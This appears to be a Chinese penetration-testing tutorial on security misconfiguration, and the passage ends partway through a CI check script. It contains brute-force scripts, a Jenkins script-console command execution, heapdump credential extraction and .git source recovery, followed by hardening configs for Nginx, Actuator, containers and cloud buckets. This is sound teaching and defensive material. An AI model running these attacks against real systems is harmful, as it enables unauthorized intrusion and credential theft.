安全配置错误:默认口令、目录列表与 Actuator 未授权
A05 在 2021 榜单从第六升到第五。它有个特点:技术含量最低,但命中率最高。不需要懂内存布局,不需要绕过 WAF,只要扫一遍默认配置,往往就能拿到服务器。
一、新房交付忘了换锁
精装修新房,全小区通用的初始密码
你买了一套精装修的新房,开发商交付时配了门锁 —— 全小区通用的初始密码 123456。
你觉得"反正没人知道我住这儿",一直没改。
半年后的一天,你发现家里进了人。不是被技术开锁,是有人拿着开发商给的通用钥匙串,挨家挨户试过来的。
安全配置错误(Security Misconfiguration) 就是这个意思:系统本身没毛病,但你没把它配安全。
六大坑位速览
| # | 坑位 | 典型表现 | 危害 |
|---|---|---|---|
| 1 | 默认凭据 | admin/admin、root/123456、tomcat/tomcat、test/test | 直接接管 |
| 2 | 不必要的服务/功能 | 开着 FTP、Telnet、调试端口、管理后台对公网开放 | 攻击面扩大 |
| 3 | 错误详情泄露 | 详细的堆栈信息、调试模式开启、verbose 报错 | 泄露路径/版本/结构 |
| 4 | 目录列表 / 敏感文件 | 目录浏览开启、.git/.env/备份文件可访问 | 源码/凭据泄露 |
| 5 | 云资源配置错误 | OSS/S3 桶公开读、安全组 0.0.0.0/0 全开 | 数据泄露/入侵 |
| 6 | 缺失安全加固 | 无安全响应头、无 CSP、中间件未打补丁 | 各类下游攻击 |
它对暴露面极其敏感
配置类漏洞的"触发"特别简单,通常只需要一个条件:攻击者能访问到那个配置错误的入口。
这也就意味着——它对暴露面极其敏感:
开发环境配置 → 误用到生产环境 → 最常见的成因(没有之一)
测试账号没删 → 生产环境仍可用
调试端口开放 → 从内网暴露到公网
备份文件放在 web 目录 → 可直接下载💡 踩坑提示:我做过一个粗略统计,在配置类漏洞里,"开发配置泄漏到生产"占了将近一半。原因很现实:开发环境下
DEBUG=True、错误详情、测试账号都是"为了方便",而发布流程里没有任何环节检查这些配置。等上线了,就没人记得改回来。
十项里利用率最高的一项
OWASP 数据:CWE 集合 20 个,平均加权利用率 8.12% —— 这是十项里利用率最高的一项,也就是说配置错误是最容易被实际利用的漏洞类型。
典型场景:
场景一:默认口令接管后台
某系统使用了 Jenkins,管理员用默认安装配置,未启用认证。
攻击者访问 http://target:8080/ → 直接进入 Jenkins 控制台
→ 新建构建任务 → 执行任意 shell 命令 → 完全接管服务器场景二:Spring Boot Actuator 未授权
访问 http://target/actuator → 返回所有端点列表
访问 http://target/actuator/heapdump → 下载 JVM 堆内存快照
→ 从堆内存中提取数据库密码、Redis 密码、AK/SK → 横向移动📌 这个案例值得展开:
heapdump是我在实战中见过杀伤力最大的配置错误之一。堆内存里往往明文躺着各种配置 —— 数据库连接串、云密钥、第三方 API Secret。用jvisualvm或MAT打开 dump 文件,搜password、ak、secret就能挖到。一次未授权访问 = 全量凭据泄露。
场景三:.git 目录泄露
访问 http://target/.git/ → 目录可列表
→ 用工具把整个 .git 拖下来 → git checkout 恢复完整源码
→ 从源码里找硬编码密钥、未上线接口、逻辑漏洞场景四:云存储桶公开
某 App 的图片上传用了对象存储,桶策略设为 public-read。
攻击者列出桶内所有对象 → 拿到全量用户上传的身份证照片、合同扫描件场景五:目录列表
访问 http://target/backup/ → 显示文件列表
→ database_20240101.sql ← 完整数据库备份,可直接下载二、怎么扫出配置错误
黑盒扫描是主战场
与 A01/A03 不同,A05 几乎全靠黑盒扫描,代码审计反而作用有限(因为配置在部署层面,不在代码里)。
Step 1:信息收集 —— 先搞清楚对面是什么
# 1. 识别服务指纹
whatweb https://target.com -v
# 或
curl -sI https://target.com | head -20
# 关注: Server, X-Powered-By, X-Generator, Set-Cookie 特征
# 2. 端口与服务探测
nmap -sV -sC -p- target.com -oA nmap_full --min-rate 1000
# -sV 探测服务版本
# -sC 使用默认脚本扫描
# -p- 全端口(1-65535)
# --min-rate 提高速率
# 3. Web 指纹识别(推荐,快且准)
whatweb -a 3 https://target.com
# 4. Nuclei 技术识别
nuclei -u https://target.com -t ~/nuclei-templates/technologies/ -silentStep 2:目录与敏感文件爆破
# ffuf 目录爆破(推荐,比 dirb/gobuster 快)
ffuf -u https://target.com/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-mc 200,301,302,403 \
-recursion -recursion-depth 2 \
-o ffuf_result.json
# -u 目标,FUZZ 是占位符
# -w 字典
# -mc 匹配的响应码(403 也要看,有时是"存在但被禁",值得记录)
# -recursion 递归扫描发现的目录
# -o 输出
# 敏感文件专项字典(重点!)
ffuf -u https://target.com/FUZZ \
-w sensitive-files.txt -mc 200
# 自建敏感文件字典,至少包含这些:
cat > sensitive-files.txt << 'EOF'
.git/HEAD
.git/config
.git/index
.svn/entries
.env
.env.local
.env.production
.env.backup
config/database.yml
application.yml
application.properties
web.config
WEB-INF/web.xml
composer.json
package.json
package-lock.json
yarn.lock
Dockerfile
docker-compose.yml
.htpasswd
.htaccess
id_rsa
id_rsa.pub
web.zip
web.rar
www.zip
backup.zip
backup.sql
db.sql
database.sql
dump.sql
1.sql
test.php
info.php
phpinfo.php
adminer.php
phpMyAdmin/
admin/
manager/
console/
actuator
actuator/env
actuator/heapdump
actuator/beans
actuator/mappings
swagger-ui.html
swagger/index.html
api-docs
v2/api-docs
v3/api-docs
druid/index.html
solr/admin/info/system
jenkins/
manager/html
EOFStep 3:Nuclei 批量扫配置错误(效率最高)
# Nuclei 是发现 A05 类问题的首选工具,模板库覆盖非常全
nuclei -u https://target.com \
-t ~/nuclei-templates/http/misconfiguration/ \
-t ~/nuclei-templates/http/exposures/ \
-severity high,critical \
-o nuclei_a05.txt
# 批量目标
nuclei -l targets.txt \
-tags misconfig,exposure,default-login \
-rate-limit 20 \
-o nuclei_batch.txt
# 常用参数说明
# -t 模板文件或目录
# -tags 按标签过滤: misconfig / exposure / tech / default-login / panel
# -severity 严重度过滤: info/low/medium/high/critical
# -rate-limit 每秒请求数(重要,别把目标打挂)
# -o 输出文件
# -silent 只输出结果行
# -update-templates 更新模板库(定期执行)
# 更新模板库(重要!新 CVE 和配置检测模板不断加入)
nuclei -update-templatesStep 4:手动确认关键端点
自动化扫完之后,这几个端点必须手动看一眼(工具可能漏判):
#!/usr/bin/env bash
# A05 关键端点人工核查脚本
# 用法: bash misconfig_check.sh https://target.com
TARGET="${1%/}"
echo "=========== 检查目标: $TARGET ==========="
echo
probe() {
# probe <路径> <说明>
local path="$1" desc="$2"
local code size
code=$(curl -s -o /tmp/probe_body.txt -w "%{http_code}" --max-time 8 "$TARGET$path" 2>/dev/null)
size=$(wc -c < /tmp/probe_body.txt)
printf "[%-3s] %-45s %-28s (%s bytes)\n" "$code" "$path" "$desc" "$size"
# 200 且非空的,打印前 200 字节供判断
if [ "$code" = "200" ] && [ "$size" -gt 0 ] && [ "$size" -lt 5000 ]; then
echo " └─ 预览: $(head -c 200 /tmp/probe_body.txt | tr '\n' ' ')"
fi
}
echo "--- 版本控制泄露 ---"
probe "/.git/HEAD" "Git 仓库头(泄露则源码可拖)"
probe "/.git/config" "Git 配置(含远程地址,可能含凭据)"
probe "/.svn/entries" "SVN 泄露"
probe "/.hg/" "Mercurial 泄露"
echo
echo "--- 环境与配置文件 ---"
probe "/.env" "Laravel/Node 环境变量(含 DB 密码!)"
probe "/.env.backup" "env 备份"
probe "/web.config" "IIS 配置(可能含连接串)"
probe "/WEB-INF/web.xml" "Java Web 配置"
probe "/composer.json" "PHP 依赖清单"
echo
echo "--- Spring Boot Actuator(高危)---"
probe "/actuator" "端点列表"
probe "/actuator/env" "环境变量(含密码!)"
probe "/actuator/heapdump" "堆转储(可提取明文凭据)"
probe "/actuator/beans" "Bean 列表"
probe "/actuator/mappings" "所有接口映射(接口清单)"
probe "/actuator/configprops" "配置属性"
probe "/actuator/loggers" "日志级别(可动态改)"
probe "/actuator/threaddump" "线程栈"
echo
echo "--- 管理后台与控制台 ---"
probe "/admin" "通用后台"
probe "/admin/login" "后台登录"
probe "/manager/html" "Tomcat 管理台"
probe "/console" "Weblogic/H2 控制台"
probe "/jenkins" "Jenkins"
probe "/druid/index.html" "Druid 监控(含 SQL 记录)"
probe "/swagger-ui.html" "Swagger 文档(接口清单)"
probe "/v2/api-docs" "Swagger API 定义"
probe "/solr/admin/info/system" "Solr 系统信息"
echo
echo "--- 备份与数据包 ---"
probe "/backup.sql" "数据库备份"
probe "/www.zip" "整站打包"
probe "/web.zip" "整站打包"
probe "/db.sql" "数据库导出"
probe "/1.sql" "常见备份名"
echo
echo "--- 调试与信息页 ---"
probe "/phpinfo.php" "PHP 信息(泄露路径与配置)"
probe "/info.php" "同上"
probe "/test.php" "测试文件"
probe "/server-status" "Apache 状态页"
probe "/nginx_status" "Nginx 状态页"
probe "/.DS_Store" "macOS 目录索引"
probe "/crossdomain.xml" "Flash 跨域策略"
probe "/robots.txt" "爬虫协议(常泄露后台路径)"
echo
echo "--- 安全响应头检查 ---"
echo "响应头:"
curl -sI "$TARGET" --max-time 8 | grep -iE \
"strict-transport|x-frame|x-content-type|content-security|x-xss|referrer|permissions-pol" \
|| echo " ⚠️ 未发现任何安全响应头"
echo
echo "=========== 检查完成 ==========="配置文件与部署脚本里的坑
配置问题主要在配置文件和部署脚本里,审计重点:
# 搜索调试模式开启(生产环境必须关闭)
grep -rnE "DEBUG\s*=\s*True|debug\s*:\s*true|APP_DEBUG=true" --include=*.{py,yml,yaml,env,properties}
# 搜索详细错误报告
grep -rnE "display_errors\s*=\s*On|display_errors\s*=\s*1|show_sql\s*:\s*true|verbose\s*=\s*True"
# 搜索硬编码的测试凭据
grep -rnE "(password|passwd|pwd)\s*[:=]\s*[\"']?(admin|123456|test|root|password)[\"']?" -i
# 搜索过宽的 CORS 配置
grep -rnE "Access-Control-Allow-Origin.*\*|allowedOrigins.*\*|allow_origins.*\[?\"?\*"
# 搜索 Actuator 全放开配置
grep -rnE "management\.endpoints\.web\.exposure\.include\s*=\s*\*|exposure:\s*include:\s*'\*'"
# 搜索关闭的安全特性
grep -rnE "ssl\s*=\s*false|verify\s*=\s*False|csrf.*disable|csrf.*enabled\s*=\s*false"Docker / K8s 配置审计:
# 检查是否以 root 运行容器
grep -rn "USER root" Dockerfile*
# 若无 USER 指令 → 默认 root 运行(危险)
# 检查是否挂载了敏感目录
grep -rnE "volumes:|-\s*/var/run/docker.sock|-\s*/etc/" docker-compose.yml
# 挂载 docker.sock = 容器逃逸风险
# K8s 权限检查
kubectl get pods -o jsonpath='{.items[*].spec.securityContext}' | jq .
# 检查 runAsNonRoot / readOnlyRootFilesystem / allowPrivilegeEscalation403 不等于安全
| 检测项 | 请求/特征 | 判断依据 |
|---|---|---|
| 目录列表 | 访问 /backup/ | 返回 HTML 文件索引页(含 "Index of") |
.git 泄露 | 访问 /.git/HEAD | 返回 ref: refs/heads/master |
.env 泄露 | 访问 /.env | 返回 DB_PASSWORD=xxx 等键值 |
| Actuator | 访问 /actuator | 返回 JSON 端点列表 |
| heapdump | 访问 /actuator/heapdump | 下载到 .hprof 二进制文件(几 MB~几百 MB) |
| 默认口令 | 用 admin/admin 登录 | 登录成功(注意有的会提示"请修改密码") |
| 详细错误 | 提交畸形参数 | 返回含堆栈路径的 500 页面 |
| 目录遍历 | 访问 /static/../ | 返回上级目录列表 |
| 备份文件 | 访问 /www.zip | 直接下载到压缩包 |
| 云桶公开 | 访问桶的 list API | 返回 XML 格式的对象列表 |
| 安全头缺失 | 看响应头 | 无 HSTS / CSP / X-Frame-Options |
💡 踩坑提示:403 不等于安全。很多运维知道要禁
.git,配了deny all,但返回的是 Nginx 默认的 403 页面 —— 这本身没问题。问题在于有些配置用location ~ /\.git { deny all; },而实际访问/.git/HEAD时因为正则没匹配到子路径,仍然可访问。判断依据是响应内容,不是状态码。
三、逐个击破:五类高价值目标
⚠️ 以下内容仅限授权渗透测试 / 自有系统 / 安全研究环境中使用。
默认口令:挨家挨户试钥匙串
#!/usr/bin/env bash
# 常见服务默认口令检测(Hydra / curl 双方案)
# 用法: bash default_creds.sh 10.0.0.1
TARGET="$1"
echo "=========== 1. 端口扫描 ==========="
nmap -sV --open -p 21,22,23,25,110,143,443,445,1433,1521,3306,3389,5432,5900,6379,8080,8161,9200,11211,27017 "$TARGET" -oN ports.txt
cat ports.txt | grep -E "^[0-9]+/"
echo
echo "=========== 2. SSH 弱口令 (Hydra) ==========="
# -l 用户名 -P 密码字典 -t 并发 -vV 详细
hydra -l root -P /usr/share/wordlists/rockyou.txt \
-t 4 -vV -f ssh://"$TARGET"
# -t 4 并发 4(SSH 建议低并发,太高会触发防护)
# -f 找到第一个成功密码就停止
# -vV 显示每次尝试
echo
echo "=========== 3. FTP 匿名登录 ==========="
timeout 10 ftp -n "$TARGET" << 'EOF'
quote USER anonymous
quote PASS anonymous@example.com
quote PWD
quit
EOF
# 若返回 230 Login successful → 匿名登录可用
echo
echo "=========== 4. Redis 未授权访问 ==========="
# redis-cli 直连(无需密码即成功 = 未授权)
if timeout 5 redis-cli -h "$TARGET" -p 6379 ping 2>/dev/null | grep -q "PONG"; then
echo "[!] Redis 未授权访问成立!"
echo "[*] 可尝试写计划任务 / 写 SSH key / 写 webshell"
redis-cli -h "$TARGET" -p 6379 info server | head -5
else
echo "[-] Redis 需要认证或不可达"
fi
echo
echo "=========== 5. MySQL 弱口令 ==========="
hydra -l root -P /usr/share/wordlists/fasttrack.txt \
-t 4 -f mysql://"$TARGET"
echo
echo "=========== 6. Tomcat 管理台 ==========="
for user in tomcat admin manager both; do
for pass in tomcat admin manager s3cret password 123456; do
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 \
-u "$user:$pass" "http://$TARGET:8080/manager/html")
if [ "$code" = "200" ]; then
echo "[!] Tomcat 弱口令: $user:$pass"
fi
done
done
echo
echo "=========== 7. Jenkins 未授权 ==========="
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 "http://$TARGET:8080/jenkins/script")
if [ "$code" = "200" ]; then
echo "[!] Jenkins 脚本控制台可未授权访问 → 可执行任意 Groovy 命令"
echo " 利用: POST /jenkins/script body: println 'whoami'.execute().text"
fi
echo
echo "=========== 完成 ==========="Jenkins 脚本控制台利用(如果确认未授权):
# Jenkins Script Console 可执行 Groovy,等同系统命令
curl -s -X POST "http://target:8080/jenkins/script" \
--data-urlencode 'script=
def proc = "whoami".execute()
def out = new StringBuffer()
proc.waitForProcessOutput(out, null)
println out.toString()
'
# 预期回显: jenkins 或 root.git 泄露:把整个源码仓库拖回家
# 用 GitHack 恢复完整源码(最常用)
# 工具: https://github.com/lijiejie/GitHack
python3 GitHack.py http://target.com/.git/
# 原理:即使 .git 目录不能直接列目录,只要 .git/HEAD、.git/objects 等文件可访问,
# 就能逐个下载对象文件,在本地重建完整仓库
# 恢复后查看源码
cd target.com_git/
git log --oneline -20 # 查看提交历史(可能含敏感提交)
git status # 查看工作区状态
git checkout . # 恢复所有文件
# 从历史中提取硬编码密钥
git log -p | grep -iE "password|secret|api.?key|token" | head -50
# 用 gitleaks 扫整个历史
gitleaks detect --source . --log-opts="--all" -v
# 手动方式(无工具时)
mkdir -p /tmp/gitdump && cd /tmp/gitdump
curl -s http://target.com/.git/HEAD -o HEAD
curl -s http://target.com/.git/config -o config
# 然后按 objects 逐个下载,比较繁琐,建议直接用 GitHackheapdump:一次未授权访问,全量凭据泄露
这是 A05 里收益最高的一个利用点,值得详细展开。
# Step 1: 确认端点可访问
curl -s http://target.com/actuator | python3 -m json.tool
# 返回: {"_links":{"self":...,"env":...,"heapdump":...,"beans":...}}
# Step 2: 下载 heapdump(文件较大,需要时间)
curl -s -o heapdump.hprof "http://target.com/actuator/heapdump" --max-time 300
ls -lh heapdump.hprof
# 通常几十 MB 到几百 MB
# Step 3: 用 strings 快速提取明文字符串(最简单的方式)
strings heapdump.hprof | grep -iE "password|passwd|secret|apikey|api_key|accesskey|ak:|sk:" | head -50
# 更精确的提取(找配置项)
strings heapdump.hprof | grep -E "spring\.datasource|redis\.password|mysql://|jdbc:" | head -30
# 提取云密钥(阿里云/腾讯云 AK/SK 特征)
strings heapdump.hprof | grep -oE "(LTAI|AKID)[A-Za-z0-9]{16,}" | sort -u
# 阿里云 AccessKey ID 以 LTAI 开头
# 腾讯云 SecretId 以 AKID 开头
# 提取邮箱/手机号等(判断数据规模)
strings heapdump.hprof | grep -oE "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" | sort -u | head -20用 MAT(Memory Analyzer Tool)做可视化分析:
# 1. 下载 MAT: https://www.eclipse.org/mat/downloads.php
# 2. 打开 heapdump.hprof
# 3. 使用 OQL 查询(比 strings 精确得多)
# OQL 查询示例:查找所有含 password 的 String 对象
SELECT * FROM java.lang.String s WHERE toString(s.value) LIKE ".*password.*"
# 查找数据库连接串
SELECT * FROM java.lang.String s WHERE toString(s.value) LIKE ".*jdbc:.*"
# 查找配置属性对象
SELECT * FROM org.springframework.boot.context.properties.source.ConfigurationPropertySourcesPropertySource💡 踩坑提示:heapdump 文件很大,
strings输出会有海量噪音。优先用 grep 精确匹配关键词(spring.datasource.password、redis.password、accessKey),而不是泛泛地搜password。另外注意别把 dump 下来的凭据外传,这是实打实的敏感数据。
云桶公开:加密做得再好也归零
#!/usr/bin/env bash
# 云存储桶公开访问检测
# 用法: bash bucket_check.sh my-bucket
BUCKET="$1"
echo "=========== 阿里云 OSS ==========="
# OSS 的 list objects API
curl -s "https://${BUCKET}.oss-cn-hangzhou.aliyuncs.com/?max-keys=100" --max-time 10
# 若返回 XML 格式的 <ListBucketResult> → 桶公开可读
# 若返回 <Code>AccessDenied</Code> → 有权限控制
echo
echo "=========== 腾讯云 COS ==========="
curl -s "https://${BUCKET}-1254351430.cos.ap-guangzhou.myqcloud.com/?max-keys=100" --max-time 10
# 注意 APPID 部分要替换成实际的
echo
echo "=========== AWS S3 ==========="
curl -s "https://${BUCKET}.s3.amazonaws.com/?max-keys=100" --max-time 10
# 若返回 XML 列表 → 公开
# AWS CLI 方式(更详细)
aws s3 ls "s3://${BUCKET}" --no-sign-request 2>&1
# 若成功列出 → 公开可读
echo
echo "=========== 检查桶策略是否允许写入 ==========="
# 尝试上传一个测试文件(谨慎!仅在授权环境)
echo "test" > /tmp/__acl_test.txt
curl -s -X PUT --data-binary @/tmp/__acl_test.txt \
"https://${BUCKET}.oss-cn-hangzhou.aliyuncs.com/__acl_test.txt" --max-time 10 -w "\nHTTP: %{http_code}\n"
# 返回 200 → 桶可公开写入(极其危险,可被挂马)
echo
echo "=========== 完成 ==========="批量遍历(授权范围内):
# 用 bucket-stream 或自定义脚本批量检测桶名
# 常见的桶名规律:公司名、公司名-backup、公司名-static、公司名-images
for name in company company-backup company-static company-images company-logs; do
for region in oss-cn-hangzhou oss-cn-beijing oss-cn-shanghai; do
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 \
"https://${name}.${region}.aliyuncs.com/")
echo "$name.$region → HTTP $code"
done
done目录列表与备份文件:database_20240101.sql
#!/usr/bin/env bash
# 目录列表与备份文件批量发现
# 用法: bash dirlist_scan.sh https://target.com
TARGET="${1%/}"
# 常见备份文件命名规律(可扩充)
BACKUP_NAMES=(
"backup.zip" "backup.tar.gz" "backup.sql" "backup.rar"
"www.zip" "wwwroot.zip" "web.zip" "web.rar" "site.zip" "htdocs.zip"
"db.sql" "database.sql" "data.sql" "dump.sql" "1.sql" "all.sql"
"代码备份.zip" "%E4%BB%A3%E7%A0%81%E5%A4%87%E4%BB%BD.zip" # URL 编码的中文名
"backup_2024.zip" "backup_2025.zip" "backup_2026.zip"
"sql.zip" "mysql.sql" "database_backup.sql"
)
# 常见年份后缀(爆破用)
YEARS=(2023 2024 2025 2026)
MONTHS=(01 02 03 04 05 06 07 08 09 10 11 12)
echo "=========== 备份文件探测 ==========="
for name in "${BACKUP_NAMES[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 6 "$TARGET/$name")
size=$(curl -sI --max-time 6 "$TARGET/$name" | grep -i "content-length" | tr -d '\r' | awk '{print $2}')
if [ "$code" = "200" ]; then
echo "[!] 发现: /$name (HTTP $code, $(( size / 1024 )) KB)"
fi
done
echo
echo "=========== 按日期规律爆破 ==========="
for y in "${YEARS[@]}"; do
for m in "${MONTHS[@]}"; do
for suffix in ".sql" ".zip"; do
name="backup_${y}${m}${suffix}"
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 "$TARGET/$name")
[ "$code" = "200" ] && echo "[!] 发现: /$name"
name="${y}${m}${suffix}"
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 "$TARGET/$name")
[ "$code" = "200" ] && echo "[!] 发现: /$name"
done
done
done
echo
echo "=========== 目录列表探测 ==========="
DIRS=("/" "/static/" "/upload/" "/uploads/" "/files/" "/backup/" "/data/" "/logs/" "/tmp/" "/assets/" "/images/")
for d in "${DIRS[@]}"; do
body=$(curl -s --max-time 6 "$TARGET$d")
if echo "$body" | grep -qiE "Index of|<title>Directory|Directory listing|parent directory"; then
echo "[!] 目录列表开启: $d"
fi
done
echo
echo "=========== 完成 ==========="四、基线、CI 卡点与防回退
建立可重复的安全基线
配置错误的根治思路是把"正确的配置"固化下来,并自动检查。靠人记住"上线前要改哪几项",早晚会漏。
基线检查清单(可直接抄用):
## Web 服务安全基线
### 应用配置
- [ ] DEBUG / APP_DEBUG = false
- [ ] 生产环境关闭详细错误回显,错误统一返回通用文案
- [ ] 删除所有测试账号、默认账号
- [ ] 所有默认口令已修改(数据库、中间件、后台、第三方组件)
- [ ] 关闭 Swagger / API 文档对公网的访问(或加认证)
- [ ] 关闭 Actuator 敏感端点(env/heapdump/beans/threaddump)
- [ ] 关闭目录列表(Nginx: autoindex off)
- [ ] 删除不必要的样例文件、文档、README
### 敏感文件
- [ ] 禁止访问 .git / .svn / .hg
- [ ] 禁止访问 .env / config.* 等配置文件
- [ ] web 根目录下无备份文件(*.sql / *.zip / *.bak)
- [ ] 无 phpinfo / test / info 等调试页面
### 网络与端口
- [ ] 管理后台仅内网/VPN 可访问
- [ ] 数据库、Redis、MQ 等中间件不对公网开放
- [ ] 安全组/防火墙最小化开放端口
- [ ] 关闭不必要的服务(Telnet / FTP 等明文协议)
### 安全响应头
- [ ] Strict-Transport-Security(HSTS)
- [ ] Content-Security-Policy
- [ ] X-Content-Type-Options: nosniff
- [ ] X-Frame-Options / frame-ancestors
- [ ] Referrer-Policy
### 云资源
- [ ] 对象存储桶无 public-read / public-read-write
- [ ] 安全组入站规则无 0.0.0.0/0 的敏感端口(22/3306/6379)
- [ ] 使用子账号和最小权限 RAM 策略,不用主账号 AK
- [ ] 开启操作审计(ActionTrail / CloudTrail)
### 容器
- [ ] 容器以非 root 用户运行
- [ ] 不挂载 docker.sock
- [ ] 镜像无高危漏洞(扫描通过)
- [ ] 只读根文件系统(如适用)Nginx 加固配置(可直接套用)
# /etc/nginx/nginx.conf 主配置
# ===== 1. 隐藏版本号 =====
server_tokens off; # 响应头不再显示 nginx/1.x.x
# ===== 2. 安全响应头(在 http 块或 server 块中配置)=====
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
# CSP 按实际业务调整,先用较宽松的策略,再逐步收紧
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'self'" always;
# HSTS(HTTPS 站点必配)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# ===== 3. 限制请求方法 =====
# 只允许 GET/POST/HEAD,其余返回 405
if ($request_method !~ ^(GET|POST|HEAD)$ ) {
return 405;
}
server {
listen 443 ssl http2;
server_name example.com;
# ===== 4. 关闭目录列表(默认是 off,显式写出来更明确)=====
autoindex off;
# ===== 5. 禁止访问隐藏文件与敏感目录 =====
location ~ /\.(?!well-known/) {
deny all;
return 404; # 用 404 而非 403,避免暴露"文件确实存在"
}
# ===== 6. 禁止访问备份/配置文件 =====
location ~* \.(sql|bak|old|backup|swp|log|conf|env|yml|yaml|ini|properties)$ {
deny all;
return 404;
}
# ===== 7. 禁止访问版本控制目录 =====
location ~ /(\.git|\.svn|\.hg|\.bzr)/ {
deny all;
return 404;
}
# ===== 8. 管理后台限制来源 =====
location /admin/ {
allow 10.0.0.0/8;
allow 172.16.0.0/12;
deny all;
auth_basic "Admin Area";
auth_basic_user_file /etc/nginx/.htpasswd;
proxy_pass http://backend;
}
# ===== 9. 限制请求体大小(防资源耗尽)=====
client_max_body_size 10m;
client_body_timeout 10s;
client_header_timeout 10s;
# ===== 10. 限流(防 CC / 爆破)=====
limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s;
limit_req_zone $binary_remote_addr zone=login:10m rate=1r/s; # 登录接口更严格
location / {
limit_req zone=general burst=20 nodelay;
proxy_pass http://backend;
}
location /api/login {
limit_req zone=login burst=5 nodelay;
proxy_pass http://backend;
}
}Actuator 专项加固
# application-prod.yml 生产环境配置
management:
endpoints:
web:
exposure:
# 只暴露健康检查,其余全部关闭
include: health,info
# ❌ 绝不要这样: include: "*"
endpoint:
health:
show-details: never # 健康检查不显示详情
# 显式关闭高危端点(双保险)
env:
enabled: false
heapdump:
enabled: false
threaddump:
enabled: false
beans:
enabled: false
configprops:
enabled: false
loggers:
enabled: false
mappings:
enabled: false
# 换个不容易被猜到的端口和路径(纵深防御)
server:
port: 9090 # 与管理端口分离
endpoints:
web:
base-path: /internal-actuator-9f3a2b # 改掉默认 /actuator
# 如果必须用 /actuator,则必须加 Spring Security 保护如果确实需要暴露部分端点,加认证:
@Configuration
public class ActuatorSecurityConfig {
@Bean
public SecurityFilterChain actuatorFilterChain(HttpSecurity http) throws Exception {
http
// 只对 actuator 路径生效
.securityMatcher(EndpointRequest.toAnyEndpoint())
.authorizeHttpRequests(auth -> auth
// 只有 ADMIN 角色可访问,其余全部拒绝
.anyRequest().hasRole("ADMIN")
)
.httpBasic(Customizer.withDefaults())
// 且限制只能内网访问(在网关或 Nginx 层再做一层)
;
return http.build();
}
}云资源:桶私有 + 最小权限
对象存储(以阿里云 OSS 为例):
# 1. 检查桶 ACL
ossutil stat oss://my-bucket
# 查看 ACL 字段,应为 private
# 2. 设置为私有
ossutil set-acl oss://my-bucket private
# 3. 禁止通过列出对象遍历
# 私有读写本身就是禁止匿名 list 的,关键是别开 public-read
# 4. 正确做法:用 STS 临时凭证 + 预签名 URL 给前端直传
# 前端请求后端 → 后端用 RAM 角色生成临时 STS 凭证(有效期 15 分钟)
# → 前端用临时凭证直传 OSS
# → 这样 AK/SK 永不出现在前端RAM 最小权限策略示例:
{
"Version": "1",
"Statement": [
{
"Effect": "Allow",
"Action": [
"oss:GetObject",
"oss:PutObject"
],
"Resource": [
"acs:oss:*:*:my-bucket/uploads/*"
],
"Condition": {
"IpAddress": {
"acs:SourceIp": ["10.0.0.0/8"]
}
}
}
]
}要点:只允许
GetObject/PutObject(不给ListObjects、不给DeleteObject),限定到具体 bucket 的具体路径,并限制来源 IP。绝不使用主账号 AK。
安全组最小化:
# 检查当前安全组规则,找出过宽的放行
# 高危规则特征:
# 授权对象 0.0.0.0/0 + 端口 22/3306/6379/3389/8080/9200/27017/1433
# 修复原则:
# - SSH(22) / RDP(3389) → 只允许办公网出口 IP
# - MySQL(3306) / Redis(6379) / MongoDB(27017) → 只允许应用服务器内网 IP
# - ES(9200) / Kafka / ZooKeeper → 只允许内网
# - 只对外暴露 80/443容器:非 root、只读、不挂 docker.sock
# Dockerfile 安全基线示例
# 1. 使用精简基础镜像(减少攻击面)
FROM eclipse-temurin:17-jre-alpine
# 2. 创建非 root 用户
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
WORKDIR /app
# 3. 拷贝并设置属主
COPY --chown=appuser:appgroup target/app.jar app.jar
# 4. 切换到非 root 用户运行(关键!)
USER appuser
# 5. 只读根文件系统(运行时配合 --read-only)
# 6. 不安装不必要的工具(curl/wget/netcat 都不要装,增加逃逸难度)
EXPOSE 8080
# 7. 使用 exec 形式,确保信号能正确传递
ENTRYPOINT ["java", "-jar", "/app/app.jar"]# docker-compose.yml 安全配置
services:
app:
image: myapp:latest
read_only: true # 只读根文件系统
cap_drop:
- ALL # 移除所有 capabilities
security_opt:
- no-new-privileges:true # 禁止提权
tmpfs:
- /tmp:size=100m # 需要写的目录用 tmpfs
# ❌ 绝不要挂载 docker.sock
# volumes:
# - /var/run/docker.sock:/var/run/docker.sock
user: "1000:1000" # 非 rootCI 卡点:防配置回退
这是防复发的关键 —— 把基线检查放进 CI,配置被改坏就构建失败。
#!/usr/bin/env bash
# ci-config-check.sh —— CI 中的配置安全检查
# 用法: 在 CI pipeline 中调用,失败则阻断发布
set -uo pipefail
ERRORS=0
fail() { echo "❌ [FAIL] $1"; ERRORS=$((ERRORS+1)); }
pass() { echo "✅ [PASS] $1"; }
warn() { echo "⚠️ [WARN] $1"; }
echo "=========== 配置安全检查 ==========="
# 1. 检查调试模式
if grep -rnE "DEBUG\s*=\s*True|APP_DEBUG=true|debug:\s*true" \
--include="*.env*" --include="*.yml" --include="*.yaml" --include="*.properties" . 2>/dev/null; then
fail "检测到调试模式开启"
else
pass "调试模式已关闭"
fi
# 2. 检查 Actuator 全暴露
if grep -rnE "exposure.*include.*\*|exposure:\s*include:\s*'\*'" \
--include="*.yml" --include="*.yaml" --include="*.properties" . 2>/dev/null; then
fail "Actuator 端点全暴露(含 heapdump/env 等高危端点)"
else
pass "Actuator 配置正常"
fi
# 3. 检查默认/弱口令
if grep -rniE "(password|passwd|pwd)\s*[:=]\s*[\"']?(admin|123456|test|root|password|changeme)[\"']?" \
--include="*.yml" --include="*.yaml" --include="*.properties" --include="*.env*" --include="*.json" . 2>/dev/null; then
fail "检测到默认/弱口令配置"
else
